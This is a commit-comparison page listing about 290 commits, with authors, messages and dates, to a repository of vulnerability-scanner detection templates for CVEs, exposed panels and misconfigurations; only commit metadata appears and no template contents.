Compare commits

...
290 Commits
Author SHA1 Message Date
bauthard b239b4ff56 Merge pull request #599 from dwisiswant0/fix/CVE-2020-14882
Update CVE-2020-14882 payload & with positive matchers
2020-11-02 13:33:12 +05:30
Dwi Siswanto b175c2117c 🔥 Update CVE-2020-14882 payload & with positive matchers 2020-11-02 14:23:12 +07:00
bauthard 73c94b174c moved to another branch for the fix. 2020-11-01 12:53:33 +05:30
bauthard 278982a441 Merge pull request #598 from geeknik/patch-12
Update server-status-localhost.yaml
2020-10-31 11:07:27 +05:30
Geeknik Labs a5f8b422e0 Update server-status-localhost.yaml 2020-10-30 20:33:50 +00:00
bauthard 8503dd1471 fixing mistake 2020-10-30 11:01:43 +05:30
bauthard 048cc7183c Merge pull request #596 from dwisiswant0/add/CVE-2020-14882
Add CVE-2020-14882
2020-10-29 19:16:49 +05:30
Dwi Siswanto baaba9036e 🔥 Add CVE-2020-14882 2020-10-29 19:58:49 +07:00
bauthard 3732e52842 Update globalprotect-panel.yaml 2020-10-29 17:21:44 +05:30
bauthard 0c3b87f943 Merge pull request #595 from projectdiscovery/z-xxe
adding cve-2019-9670
2020-10-29 16:24:59 +05:30
bauthard 0c63ebfd8f adding cve-2019-9670 2020-10-29 16:23:46 +05:30
bauthard ece16666de Merge pull request #594 from palaziv/master
add template for CVE-2020-14864
2020-10-29 15:49:04 +05:30
bauthard ca1c3e7f72 Update CVE-2020-14864.yaml 2020-10-29 15:43:50 +05:30
palaziv 54f73f80e1 add template for CVE-2020-14864 2020-10-29 10:54:06 +01:00
bauthard 341796530b readme update 2020-10-28 10:23:42 +05:30
bauthard e97d31d6ee Merge pull request #550 from tungpun/patch-1
Updated exposed-svn.yaml to reduce F/P
2020-10-28 00:33:46 +05:30
bauthard 471636ffde Update exposed-svn.yaml 2020-10-28 00:32:15 +05:30
bauthard 984113a638 Merge pull request #551 from tungpun/patch-2
Updated git-config.yam to reduce F/P
2020-10-28 00:29:11 +05:30
bauthard cd63c3802d matcher updates 2020-10-28 00:26:58 +05:30
bauthard 36fd5ee72f Merge pull request #592 from projectdiscovery/sfo
Added salesforce-aura-misconfig
2020-10-27 23:29:24 +05:30
bauthard e6a4bd6668 Added salesforce-aura-misconfig 2020-10-27 23:25:12 +05:30
bauthard 03108440a9 Merge pull request #590 from Mad-robot/master
Create CVE-2020-9344.yaml
2020-10-24 01:12:56 +05:30
SaN ThosH 3b1f0bf6f9 Create CVE-2020-9344.yaml 2020-10-23 11:59:51 +05:30
bauthard 5d2fb74906 Merge pull request #589 from CasperGN/seeems-cms
Add detection of SEEEMS CMS
2020-10-23 02:17:55 +05:30
bauthard e55d12c8de Merge pull request #587 from dwisiswant0/add-vuln/wordpress-wpcourses-info-disclosure
Add wordpress-wpcourses-info-disclosure
2020-10-23 02:16:07 +05:30
bauthard b8b7067a53 Merge pull request #586 from geeknik/patch-11
Create generic-lfi.yaml
2020-10-23 02:14:56 +05:30
bauthard 023d38b3c2 moving folders 2020-10-23 02:14:24 +05:30
bauthard 0402f5ed89 Merge pull request #585 from random-robbie/patch-11
Create sassy-social-share.yaml
2020-10-23 02:09:12 +05:30
bauthard c11b53eedb Update sassy-social-share.yaml 2020-10-23 02:08:55 +05:30
Casper Guldbech Nielsen f8c6b9672b Add detection of SEEEMS CMS
Signed-off-by: Casper Guldbech Nielsen <[email protected]>
2020-10-22 21:06:09 +02:00
bauthard 09f07ddce1 need to update this template 2020-10-22 10:23:57 +05:30
Dwi Siswanto 4e09270571 🔥 Add wordpress-wpcourses-info-disclosure 2020-10-20 23:46:12 +07:00
Geeknik Labs c53142a75a Create generic-lfi.yaml 2020-10-20 15:47:25 +00:00
Robbie 6a1ade3566 Create sassy-social-share.yaml 2020-10-20 16:28:01 +01:00
bauthard 7dda537278 Merge pull request #584 from Jarijaas/add-oidc-discovery
Add oidc-detect
2020-10-20 17:50:08 +05:30
bauthard fbab199d58 Update oidc-detect.yaml 2020-10-20 17:49:01 +05:30
Jari Jääskelä b80d5a0c4e Add oidc-detect 2020-10-19 22:50:55 +03:00
bauthard 4c949b01a1 Update .nuclei-ignore
Hot fix for https://github.com/projectdiscovery/nuclei/issues/368
2020-10-18 16:21:35 +05:30
bauthard 87e4b03915 Merge pull request #580 from dwisiswant0/master
Improves WAF detects
2020-10-18 15:13:14 +05:30
Dwi Siswanto c91dda0d54 ⚡ Improves WAF detects 2020-10-18 03:46:46 +07:00
bauthard 16d4a9243f Merge pull request #579 from PR3R00T/patch-4
Adding manage-engine-ad-search.yaml
2020-10-17 23:46:28 +05:30
bauthard 72b597ace2 few updates 2020-10-17 23:43:00 +05:30
PR3R00T ab338ef562 Removed trailing space on line 9 2020-10-17 17:56:53 +01:00
PR3R00T 37122da4db Updated Space in comment 2020-10-17 17:55:34 +01:00
PR3R00T ed90f2311b Creating manage-engine-ad-search.yaml 2020-10-17 17:47:14 +01:00
bauthard 1cdeb45f8d Merge pull request #577 from PR3R00T/patch-2
Adding Manage Engine ADManager Panel
2020-10-17 01:25:21 +05:30
bauthard 477d25f580 Merge pull request #578 from PR3R00T/patch-3
Adding SonicWALL Management Panel
2020-10-17 01:24:56 +05:30
bauthard a29f62299f Merge pull request #576 from PR3R00T/patch-1
Adding Sonicwall SSL VPN Web Panel
2020-10-17 01:24:34 +05:30
bauthard 5a3a1134f9 Update graphql.yaml 2020-10-16 23:09:52 +05:30
PR3R00T b1198b32ab Create sonicwall-management-panel.yaml 2020-10-16 11:21:52 +01:00
PR3R00T 704df33d48 Adding Manage Engine ADManager Panel 2020-10-16 10:58:09 +01:00
PR3R00T d40428628c Adding Sonicwall SSL VPN Web Panel 2020-10-16 10:27:38 +01:00
bauthard ec50c8519e Merge pull request #574 from dwisiswant0/add/vpms-auth-bypass
Add Vehicle Parking Management System 1.0 - Authentication Bypass
2020-10-16 13:23:21 +05:30
bauthard 7f45530847 Merge pull request #573 from dwisiswant0/add/zms-auth-bypass
Add Zoo Management Auth Bypass
2020-10-16 13:15:56 +05:30
bauthard c912513e40 Merge pull request #575 from dwisiswant0/fix/cve-2020-7961
Update CVE-2020-7961
2020-10-16 11:34:23 +05:30
Dwi Siswanto d9f53727c9 ✏️ Escaping dot in extractors 2020-10-16 02:59:46 +07:00
Dwi Siswanto b69d65fe7b 🔨 Update matchers using regexes 2020-10-16 02:58:54 +07:00
Dwi Siswanto 5885f7b7cc 🔥 Add VPMS Auth Bypass 2020-10-16 02:42:37 +07:00
Dwi Siswanto 8903773275 📝 Add more regex patterns 2020-10-16 02:32:52 +07:00
Dwi Siswanto c098675c01 🔥 Add ZMS Auth Bypass 2020-10-16 02:30:42 +07:00
bauthard 3e7f7ef5ca Merge pull request #572 from unstabl3/patch-1
Update swagger-panel.yaml
2020-10-16 00:25:03 +05:30
shubham chaskar e4e6e6b497 Update swagger-panel.yaml
Hi,
The last pull request is causing an error!
Updated the template accordingly!

Thanks,
shubham
2020-10-16 00:20:12 +05:30
bauthard 9bd306ab3f matcher updates 2020-10-16 00:20:10 +05:30
bauthard 73920f8a78 Merge pull request #569 from geeknik/patch-10
Create magento-config.yaml
2020-10-15 23:34:44 +05:30
bauthard 972f666b1f Update magento-config.yaml 2020-10-15 23:33:50 +05:30
bauthard fc2624d79e Update magento-config.yaml 2020-10-15 23:29:04 +05:30
bauthard 530d5122ed Update magento-config.yaml 2020-10-15 23:27:19 +05:30
bauthard 42bf95426b Update magento-config.yaml 2020-10-15 23:24:37 +05:30
bauthard 59e283e23c syntax update 2020-10-15 23:21:29 +05:30
bauthard d328d32fb3 Merge pull request #567 from dwisiswant0/fix/cve-2020-16952
Update methods & matchers for CVE-2020-16952
2020-10-15 23:17:11 +05:30
bauthard 5d34c7d0b9 Merge pull request #570 from dwisiswant0/add/rconfig-rce
Add rConfig RCE
2020-10-15 23:15:47 +05:30
bauthard afefe0e3b6 Merge pull request #568 from geeknik/patch-9
Create pi-hole-detect.yaml
2020-10-15 23:13:21 +05:30
bauthard 40b069ed34 Merge pull request #565 from gevakun/patch-1
Update swagger-panel.yaml
2020-10-15 23:05:46 +05:30
Dwi Siswanto f899b78fa8 🔥 Add rConfig RCE 2020-10-16 00:26:11 +07:00
Geeknik Labs 76cec7e0fb Create magento-config.yaml 2020-10-15 17:21:05 +00:00
Geeknik Labs 71d2b16a88 Create pi-hole-detect.yaml 2020-10-15 17:03:33 +00:00
bauthard f31a8cfda9 Update swagger-panel.yaml 2020-10-15 22:16:02 +05:30
bauthard 3d06ffa549 Merge pull request #566 from gevakun/patch-2
Create workspace-one-uem.yaml
2020-10-15 22:06:23 +05:30
Dwi Siswanto 53c239b645 ✏️ Escaping dots in patterns 2020-10-15 18:21:25 +07:00
Dwi Siswanto 31c8d723c1 🔥 Update methods & matchers for CVE-2020-16952 2020-10-15 17:27:52 +07:00
gevakun 0beac4fe00 Create workspace-one-uem.yaml 2020-10-15 17:15:57 +07:00
gevakun 33c78f8bc4 Update swagger-panel.yaml
Reference:
https://twitter.com/InsiderPhD/status/1280470587199152128
https://twitter.com/Yassineaboukir/status/1280248024858583043
2020-10-15 17:03:03 +07:00
bauthard a154e9ea7d Merge pull request #564 from gevakun/master
Update graphql.yaml
2020-10-15 14:45:42 +05:30
gevakun f10c8c8363 Update graphql.yaml
Reference:
https://twitter.com/sillydadddy/status/1309403695977648129/photo/1
2020-10-15 16:05:13 +07:00
bauthard dddb8e8a37 Merge pull request #562 from knassar702/new-branch
Neon Dashboard - XSS Reflected (CVE-2019-20141)
2020-10-15 00:17:02 +05:30
bauthard 431a56847b Merge pull request #561 from dwisiswant0/add/CVE-2020-16952
Add CVE-2020-16952
2020-10-15 00:13:44 +05:30
bauthard 8f34e6a89f Merge pull request #558 from ninj4c0d3r/master
add cve-2013-2251
2020-10-15 00:11:56 +05:30
bauthard fd622f4f76 Merge pull request #560 from omriman067/master
Wasn't working because it was the wrong char
2020-10-15 00:05:12 +05:30
bauthard 4262cb2fbb Merge pull request #559 from mohammedshine/patch-5
Create elmah.yaml
2020-10-14 23:58:28 +05:30
bauthard 766ae36683 Delete elmah.yaml 2020-10-14 23:55:57 +05:30
bauthard 8441300d4d updating elmah log file 2020-10-14 23:52:29 +05:30
Khaled Nassar f4ba565b50 Neon Dashboard - XSS Reflected (CVE-2019-20141) 2020-10-14 15:39:46 +00:00
Dwi Siswanto 18bdf7f9d1 🔥 Add CVE-2020-16952 2020-10-14 15:49:48 +07:00
Omri Inbar f295f578ee Wasn't working because it was the wrong char
changed the ' to " in matcher
2020-10-14 11:20:58 +03:00
mohammedshine e745bbb972 Create elmah.yaml 2020-10-14 13:15:21 +05:30
Jonatas Fil 6a9f6cd3dc Update CVE-2013-2251.yaml 2020-10-13 18:15:07 -04:00
Jonatas Fil dc150e7d08 Merge pull request #1 from ninj4c0d3r/ninj4c0d3r-cve-1
add cve-2013-2251
2020-10-13 19:07:36 -03:00
Jonatas Fil 78b652f2e8 add cve-2013-2251 2020-10-13 19:06:01 -03:00
bauthard 0b57805b01 Merge pull request #554 from dwisiswant0/add/vmware-vcenter-0day
Add VMware vCenter Unauthenticated Arbitrary File Read
2020-10-13 21:35:20 +05:30
bauthard 29ec4777e2 Update vmware-vcenter-lfi.yaml 2020-10-13 21:34:12 +05:30
bauthard aa83f5e443 Update vmware-vcenter-lfi.yaml 2020-10-13 21:32:26 +05:30
Dwi Siswanto 7b662fbaee 🔨 Update regex pattern 2020-10-13 22:51:29 +07:00
Dwi Siswanto ac8c5c98b4 🔨 Using paths as payloads 2020-10-13 21:55:29 +07:00
Dwi Siswanto e0afe64ec1 📝 Remove additional matchers based on docs.vmware.com 2020-10-13 21:34:08 +07:00
Dwi Siswanto e238af244b 🔥 Add VMware vCenter Unauthenticated Arbitrary File Read 2020-10-13 21:24:30 +07:00
bauthard d3c0a54fe9 Merge pull request #552 from geeknik/patch-9
Create kong-detect.yaml
2020-10-12 21:29:39 +05:30
bauthard bcc2d55a92 Update kong-detect.yaml 2020-10-12 21:28:41 +05:30
bauthard 1a01b49bd5 Removed host-header-injection
Removing as this template look for reflection and not HTTP interaction, that is also not possible to detect for now.
2020-10-12 21:19:32 +05:30
Geeknik Labs 51761b0444 Create kong-detect.yaml
34,747 results for `Kong` on Shodan. Good luck!
2020-10-12 14:13:21 +00:00
bauthard 4e3e48f30a removing duplicate tech 2020-10-11 18:09:49 +05:30
bauthard fcef188fcb Adding workflows to ignore file
to avoid running same scan multiple times, adding workflows to ignore file, all workflows can be run calling the template file instead of folder.

in case, you still want to run all templates as ones, consider removing  ignore file.
2020-10-11 17:41:10 +05:30
Tung Pun 2908710e43 Updated git-config.yam to reduce F/P 2020-10-11 16:32:03 +07:00
Tung Pun ff2cc5acb7 Updated exposed-svn.yaml to reduce F/P 2020-10-11 16:30:16 +07:00
bauthard 3d7806c4a7 Netlify fix 2020-10-11 01:28:39 +05:30
bauthard d2b422afa0 Merge pull request #548 from geeknik/patch-9
Update detect-all-takeovers.yaml
2020-10-10 23:19:54 +05:30
bauthard 4217b3e339 Update detect-all-takeovers.yaml 2020-10-10 23:17:45 +05:30
bauthard 9d61d9e9c8 Update detect-all-takeovers.yaml 2020-10-10 21:37:42 +05:30
bauthard 7dc07b54a0 Update detect-all-takeovers.yaml 2020-10-10 21:35:25 +05:30
Geeknik Labs 2bc61548af Update detect-all-takeovers.yaml
Adding Vercel.app. Please see https://take-me-over-now.vercel.app/ as an example.
2020-10-10 15:56:57 +00:00
bauthard d7c406209b Merge pull request #547 from 0xTeles/master
Add template to detect Cloud Storage Bucket
2020-10-09 21:50:16 +05:30
bauthard a79b4a05c8 updates 2020-10-09 21:49:00 +05:30
Teles df5d990550 Add gstorage 2020-10-09 12:54:04 -03:00
bauthard a323cb0fa3 Updating GraphQL endpoints 2020-10-09 21:19:07 +05:30
bauthard 3208e57be6 Merge pull request #546 from pikpikcu/patch-24
Update mida eframework workflow
2020-10-09 16:46:57 +05:30
PikPikcU face8ed127 Update mida-eframework-workflow.yaml 2020-10-09 11:15:02 +00:00
bauthard 901f8d4483 Rename Symantec-Messaging-Gateway.yaml to symantec-messaging-gateway.yaml 2020-10-08 16:01:14 +05:30
bauthard 1a256345d5 Merge pull request #544 from darkc0d37/darkc0d3-branch
Add Oracle-EBS LFI
2020-10-08 03:51:46 +05:30
bauthard 072adb6681 template update 2020-10-08 03:49:59 +05:30
Hacker2202 4b42f6852a Add Oracle-EBS LFI 2020-10-07 21:59:39 +00:00
bauthard 72dc5d307b readme updates 2020-10-08 02:01:52 +05:30
bauthard 9359d40c1f Added basic PHP errors 2020-10-08 01:49:13 +05:30
bauthard 9cce7c4244 Updated GraphQL endpoints 2020-10-08 01:44:37 +05:30
bauthard a74ca441b8 basic exclusion 2020-10-08 01:36:07 +05:30
bauthard 1192bc60e8 removing thinkific 2020-10-07 18:59:59 +05:30
bauthard a66cd1835e Merge pull request #543 from v1dhun/master
Update CVE-2020-3452.yaml
2020-10-07 15:36:01 +05:30
Vidhun K e6c3ec08c4 Update CVE-2020-3452.yaml
Added another endpoint that's vulnerable to the same path traversal issue
2020-10-07 15:33:36 +05:30
bauthard 6d7999593b Update domcfg-page.yaml 2020-10-07 03:42:50 +05:30
bauthard 5d101570ad Merge pull request #541 from random-robbie/patch-10
Create w3c-total-cache.yaml
2020-10-06 19:44:33 +05:30
bauthard 2f045eb128 workflow update 2020-10-06 19:41:12 +05:30
bauthard 1c602223fb template update 2020-10-06 19:38:59 +05:30
Robbie 53c296c49a Create w3c-total-cache.yaml 2020-10-06 10:45:54 +01:00
bauthard d381c44f4b Merge pull request #539 from dwisiswant0/add/apache-nifi-detect
Add Apache NiFi detect
2020-10-05 15:45:31 +05:30
Dwi Siswanto 0524135cc2 ✏️ Update type matchers 2020-10-05 14:24:50 +07:00
Dwi Siswanto 0ecec7d303 🔨 Add apache-nifi-detect 2020-10-05 14:23:49 +07:00
bauthard 784a0160ae Merge pull request #537 from Jarijaas/prometheus-exporter-detect
Fix "prometheus-exporter-detect" false positives
2020-10-05 10:38:31 +05:30
Jari Jääskelä be93d672eb Fix "prometheus-exporter-detect" false positives 2020-10-04 14:23:02 +03:00
bauthard bce32134ad Merge branch 'master' of https://github.com/projectdiscovery/nuclei-templates 2020-10-04 11:55:06 +05:30
bauthard a926f61ed2 Removing this for the time being 2020-10-04 11:54:28 +05:30
bauthard d0cc148553 Merge pull request #534 from gevakun/master
Create domcfg-page.yaml
2020-10-04 11:52:14 +05:30
gevakun 22e8cd5faa Create domcfg-page.yaml 2020-10-03 13:51:56 +07:00
bauthard 5ed8002a89 Merge pull request #525 from swisskyrepo/swisskyrepo-jupyter-unauth
Jupyter ipython Unauth
2020-10-03 12:06:00 +05:30
bauthard 531bbbd9eb updates 2020-10-03 12:04:41 +05:30
bauthard f297dc175e Merge pull request #524 from swisskyrepo/swisskyrepo-shell-history
Shell History Files (.bash_history)
2020-10-03 11:55:01 +05:30
bauthard 33ac552cd5 Update shell-history.yaml 2020-10-03 11:54:07 +05:30
bauthard e48004306c Update shell-history.yaml 2020-10-03 11:52:40 +05:30
bauthard cab57d22a7 Merge pull request #529 from Jarijaas/wsdl-detect
Add generic WSDL detector
2020-10-03 11:49:21 +05:30
bauthard b02211e623 template update 2020-10-03 11:48:39 +05:30
bauthard 107d9b9dcc Merge pull request #512 from dwisiswant0/add/CVE-2020-2034
Add CVE-2020-2034
2020-10-03 11:45:12 +05:30
bauthard 41f64dfcf9 Merge pull request #533 from projectdiscovery/bp0lr/master
Bp0lr/master
2020-10-03 11:42:29 +05:30
bauthard a5840f0205 template update 2020-10-03 11:40:14 +05:30
bauthard b4b712f4e8 Merge pull request #532 from sillydadddy/patch-2
Create CVE-2019-8442.yaml
2020-10-03 11:27:55 +05:30
bauthard b129f008f2 updates 2020-10-03 11:27:10 +05:30
sillydadddy 32d42575f7 Create CVE-2019-8442.yaml 2020-10-03 01:20:52 +05:30
bauthard 750761d6d4 Merge pull request #530 from bjhulst/workflow_add_CVE-2020-14181.yaml
Update jira workflow with CVE-2020-14181.yaml
2020-10-03 01:01:58 +05:30
bjhulst f327768d9e Update jira workflow with CVE-2020-14181.yaml 2020-10-02 22:11:59 +03:00
bauthard 35f5d8c426 Merge pull request #526 from Jarijaas/master
Add prometheus exporter detect
2020-10-02 23:35:45 +05:30
bauthard b20a2fb17a Update prometheus-exporter-detect.yaml 2020-10-02 23:34:46 +05:30
bauthard 69d03e0d6f Merge pull request #522 from swisskyrepo/swisskyrepo-shellshock
CVE-2014-6271 Shellshock
2020-10-02 23:11:14 +05:30
bauthard 5254fb77af Merge pull request #517 from dwisiswant0/add/CVE-2019-1653
Add CVE-2019-1653
2020-10-02 23:08:48 +05:30
bauthard 365e93ec23 Merge pull request #518 from dwisiswant0/add/CVE-2019-15858
Add CVE-2019-15858
2020-10-02 23:07:51 +05:30
bauthard 3a8123f327 adding fuzzing in default ignore list 2020-10-02 22:29:10 +05:30
bauthard 2ae545cab4 some updates 2020-10-02 22:28:16 +05:30
bauthard 864c0781b4 Merge pull request #394 from sushant-kamble/master
[fuzzing][wip] new template in vulnerability
2020-10-02 22:23:42 +05:30
bauthard 471daf1bfd Update arbitrary-file-read.yaml 2020-10-02 22:22:52 +05:30
Jari Jääskelä c7176eed20 Change author 2020-10-02 19:33:03 +03:00
bauthard f4e73f5c81 Merge pull request #523 from swisskyrepo/swisskyrepo-directory-traversal
Generic Directory Traversal Template
2020-10-02 22:02:54 +05:30
Jari Jääskelä 20c0543993 Change author 2020-10-02 19:32:33 +03:00
bauthard 840eaddd66 directory update 2020-10-02 22:00:32 +05:30
bauthard a5df22b9d6 Merge pull request #519 from dwisiswant0/add/CVE-2019-16920
Add CVE-2019-16920
2020-10-02 21:57:05 +05:30
bauthard b4e68503cc Merge pull request #528 from Abss0x7tbh/patch-1
Grep for Potential FCM Server Keys
2020-10-02 21:42:57 +05:30
bauthard 6423e51905 Update fcm-server-key.yaml 2020-10-02 21:42:29 +05:30
bauthard fc7e32def2 Merge branch 'patch-1' of https://github.com/Abss0x7tbh/nuclei-templates into pr/528 2020-10-02 21:41:59 +05:30
bauthard c600d20c7a Update fcm-server-key.yaml 2020-10-02 21:39:53 +05:30
Abss 9b3d956867 Removed the GCP regex 2020-10-02 21:39:28 +05:30
Jari Jääskelä 36f293eae9 Add wsdl-detect 2020-10-02 17:27:13 +03:00
Abss 46038d7b2f Grep for Potential FCM Server Keys
For more info : https://abss.me/posts/fcm-takeover/
2020-10-02 17:54:53 +05:30
bauthard 729fc628f2 Merge pull request #516 from dwisiswant0/add/CVE-2020-12116
Add CVE-2020-12116
2020-10-02 03:15:53 +05:30
bauthard 5a7d6dd30d Merge pull request #515 from jaiswalakshansh/master
added cve-2019-9733.yaml
2020-10-02 03:00:00 +05:30
bauthard 1acddaff20 Update CVE-2020-14181.yaml 2020-10-02 02:56:01 +05:30
bauthard 91bd427d6e Update cve-2019-9733.yaml 2020-10-02 02:49:18 +05:30
Jari Jääskelä 3a6e0c533d Strip trailing whitespace 2020-10-02 00:18:22 +03:00
bauthard 05df03474a Merge pull request #514 from dwisiswant0/add/CVE-2020-9047
Add CVE-2020-9047
2020-10-02 02:39:20 +05:30
Jari Jääskelä a08409bfbe Add prometheus exporter detect template 2020-10-02 00:09:13 +03:00
bauthard c739852f38 Merge pull request #513 from dwisiswant0/add/CVE-2020-2551
Add CVE-2020-2551
2020-10-02 02:38:10 +05:30
bauthard 0849da5510 Merge pull request #511 from dwisiswant0/add/CVE-2018-1273
Add CVE-2018-1273
2020-10-02 02:23:20 +05:30
bauthard 8a305d9563 Update jupyter-ipython-unauth.yaml 2020-10-02 00:54:34 +05:30
Swissky 107d34ae98 Add files via upload 2020-10-01 21:23:47 +02:00
Swissky 5003a598a4 Add files via upload 2020-10-01 21:20:33 +02:00
Swissky 3d8553a183 Strip trailing whitespace 2020-10-01 21:07:24 +02:00
Swissky 8d91f7d440 Fix YAMLLint 2020-10-01 20:54:24 +02:00
bauthard d1f1790aed Merge pull request #509 from bjhulst/CVE-2020-14181
CVE-2020-14181
2020-10-02 00:24:09 +05:30
bauthard 9f11563a7f Update CVE-2020-14181.yaml 2020-10-02 00:23:53 +05:30
Swissky 73b40d6dda Update CVE-2014-6271.yaml 2020-10-01 20:45:00 +02:00
bauthard 3cfbd9184b Merge pull request #521 from swisskyrepo/swisskyrepo-directory-listing
Directory Listing Template
2020-10-02 00:11:28 +05:30
bauthard 4b6be53e98 updating matcher 2020-10-02 00:10:24 +05:30
Swissky 18d9e582aa Jupyter ipython Unauth
Unauthenticated access to Jupyter instance
2020-10-01 20:38:09 +02:00
Swissky 5d226b38d7 Shell History (.bash_history)
Discover history file for bash and zsh
2020-10-01 20:35:07 +02:00
Swissky e669c6dc47 Fixing the YAMLint error for CVE-2014-6271 2020-10-01 20:28:37 +02:00
Swissky 77a852426d Detect Directory Traversal
Generic Directory Traversal
2020-10-01 20:21:45 +02:00
Swissky 6f348cf619 Directory Listing Template
Detect directory listing like for servers using `SimpleHTTPServer` and `Apache`
2020-10-01 20:11:00 +02:00
bauthard 9ab3adaa9d Merge pull request #520 from mohammedshine/patch-4
Update open-redirect.yaml
2020-10-01 23:38:34 +05:30
Swissky 970a81c9eb CVE-2014-6271 Shellshock 2020-10-01 20:03:35 +02:00
mohammedshine bcf83e3191 Update open-redirect.yaml 2020-10-01 20:49:01 +05:30
Dwi Siswanto 6959f3c1f9 🔥 Add CVE-2019-16920 2020-10-01 15:21:26 +07:00
Dwi Siswanto cb639dd534 🔥 Add CVE-2019-15858 2020-10-01 15:02:00 +07:00
akshansh 949a7bc910 add cve-2019-9733 2020-10-01 12:47:40 +05:30
Dwi Siswanto 43006913e1 🔥 Add CVE-2019-1653 2020-10-01 14:17:09 +07:00
akshansh 5affe9c250 updated cve-2019-9733 2020-10-01 12:44:05 +05:30
akshansh ffecf7ccc0 cve-2019-9733 2020-10-01 12:38:30 +05:30
Dwi Siswanto d91334f612 🔥 Add CVE-2020-12116 2020-10-01 13:55:32 +07:00
akshansh 02cffb6720 cve-2019-9733.yaml 2020-10-01 12:10:15 +05:30
Dwi Siswanto d7fa08cb67 🔥 Add CVE-2020-9047 2020-10-01 13:36:19 +07:00
Dwi Siswanto 6d9ae2b147 ✏️ Update part matchers 2020-10-01 13:12:30 +07:00
Dwi Siswanto 005fde3835 ✏️ Update severity 2020-10-01 13:11:28 +07:00
Dwi Siswanto fc14cc2a6c 🔥 Add CVE-2020-2551 2020-10-01 13:10:28 +07:00
Dwi Siswanto 0710cbe9ad 🔨 Sort paths 2020-10-01 12:39:33 +07:00
Dwi Siswanto 1a6c98f2c5 🔥 Add CVE-2020-2034 2020-10-01 12:37:52 +07:00
Dwi Siswanto a488f75bb1 🔥 Add CVE-2018-1273 2020-10-01 09:28:22 +07:00
bjhulst fd8fce4308 1st version 2020-09-30 23:36:12 +03:00
bauthard ffedf2c3fb Merge pull request #508 from x1mdev/cves/CVE-2020-24312
Added CVE-2020-24312
2020-09-30 20:15:12 +05:30
bauthard 5488ef6104 adding another matcher 2020-09-30 20:14:12 +05:30
x1m f273d2e6c5 Added CVE-2020-24312 2020-09-30 16:30:06 +02:00
bauthard 236270d62c Merge pull request #506 from iamthefrogy/patch-9
aims-password-mgmt-client.yaml
2020-09-29 23:00:46 +05:30
bauthard 5d2941a706 Update aims-password-mgmt-client.yaml 2020-09-29 22:59:26 +05:30
bauthard 061feb545c Merge pull request #507 from DhiyaneshGeek/master
sidekiq-dashboard detect
2020-09-29 22:57:34 +05:30
bauthard 0153333b9b template update 2020-09-29 22:56:43 +05:30
Dhiyaneshwaran a64c701f28 Add files via upload 2020-09-29 14:08:22 +05:30
Dhiyaneshwaran 649ec8f0f1 Add files via upload 2020-09-29 14:08:09 +05:30
Dhiyaneshwaran 2a35b086c1 Merge pull request #3 from projectdiscovery/master
Updation
2020-09-29 14:07:03 +05:30
Chintan Gurjar 715e37ae18 aims-password-mgmt-client.yaml
AIMS password management client login panel detect.
2020-09-29 14:55:04 +13:00
bauthard c66a6f47ee Merge pull request #502 from dwisiswant0/add/WhatWAF
Add WhatWAF detection
2020-09-29 01:14:53 +05:30
bauthard e92afd659e template update 2020-09-29 01:14:06 +05:30
bauthard fadb29e379 Merge pull request #503 from joeldeleep/master
cve-2020-0618
2020-09-29 01:03:47 +05:30
bauthard 9c592e45fd Update cve-2020-0618.yaml 2020-09-29 01:02:19 +05:30
bauthard 35fbf982dc Merge pull request #504 from un-fmunozs/new-favicons
Update favicon-detection.yaml
2020-09-28 13:32:29 +05:30
un-fmunozs bc6e1b3a13 Update favicon-detection.yaml 2020-09-28 00:29:12 -05:00
joeldeleep 25a04ef0cf Update cve-2020-0618.yaml 2020-09-28 07:31:06 +05:30
joeldeleep 13a3ee21f2 Delete CVE-2020-13379.yaml 2020-09-28 07:27:02 +05:30
joeldeleep 2f7c40d80d Create cve-2020-0618.yaml
The template only scans for the respective vulnerable url , it has to be manually verified .
2020-09-28 07:22:37 +05:30
Dwi Siswanto 3ba24809b1 📝 Fix indentation 2020-09-28 03:16:10 +07:00
Dwi Siswanto 05d1fe77f6 🔥 Add WhatWAF detection 2020-09-28 03:13:29 +07:00
bauthard a772947c58 Update README.md 2020-09-27 15:58:18 +05:30
bauthard be2621c8c4 Update .nuclei-ignore 2020-09-27 15:42:48 +05:30
bauthard 0aee5a9715 remvoing cve-2017-7529
This can be precisely checked only when Nginx version is known, otherwise it will produce false positives results, as such removing this template for the time being.
2020-09-27 15:41:50 +05:30
bauthard a2d60bbd1e Removing cve-2020-13379 2020-09-27 13:59:33 +05:30
bauthard 0d7e3454ca Merge pull request #488 from pdelteil/master
apache tomcat version detecter
2020-09-27 13:56:14 +05:30
bauthard 212e6f37ef Merge pull request #497 from iamthefrogy/patch-8
Create virtualems.yaml
2020-09-27 13:25:36 +05:30
bauthard 966afe7038 template update 2020-09-27 13:23:58 +05:30
bauthard 6045c00987 wordpress workflow update 2020-09-27 13:22:13 +05:30
bauthard b16b1086b8 Merge pull request #499 from savushkin-yauheni/patch-1
missed CVE-2020-14179 in jira workflow
2020-09-27 13:18:29 +05:30
bauthard 5c60255e86 Merge pull request #498 from random-robbie/patch-9
Create wordpress-social-metrics-tracker.yaml
2020-09-27 13:15:47 +05:30
bauthard debc3c846a Update wordpress-social-metrics-tracker.yaml 2020-09-27 13:14:52 +05:30
bauthard dae1c4af79 Update wordpress-social-metrics-tracker.yaml 2020-09-27 13:12:57 +05:30
bauthard 30463fc2da Merge pull request #496 from iamthefrogy/patch-7
Create networkcamera.yaml
2020-09-27 12:57:31 +05:30
bauthard f5b41a4ea9 updates 2020-09-27 12:53:12 +05:30
joeldeleep e53c03ab60 Update CVE-2020-13379.yaml 2020-09-27 12:49:42 +05:30
bauthard 01bf39d356 Merge pull request #495 from iamthefrogy/patch-6
✅ Create GoAnywhereClientLogin template.
2020-09-27 12:49:30 +05:30
bauthard e67c87cc55 template update 2020-09-27 12:48:44 +05:30
joeldeleep aa50c7370d Update CVE-2020-13379.yaml 2020-09-27 12:44:17 +05:30
joeldeleep f83e33f78f Update CVE-2020-13379.yaml 2020-09-27 12:37:03 +05:30
joeldeleep 9fba090a84 Update CVE-2020-13379.yaml 2020-09-27 12:36:13 +05:30
joeldeleep 3da6c533f0 Update CVE-2020-13379.yaml
The old matching using status code 502 returned false positive when the endpoint is already having a bad gateway. Going through the report here 
https://hackerone.com/reports/878779 and video https://www.youtube.com/watch?v=NWHOmYbLrZ0 , the path has been rewritten and matched with respective image/jpeg as explained in the poc
2020-09-27 11:58:57 +05:30
Zhenya Savushkin ce7b2e8e5b missed CVE-2020-14179 in jira workflow 2020-09-26 17:53:22 +03:00
Robbie 0a92a6acc4 Create wordpress-social-metrics-tracker.yaml 2020-09-26 09:20:15 +01:00
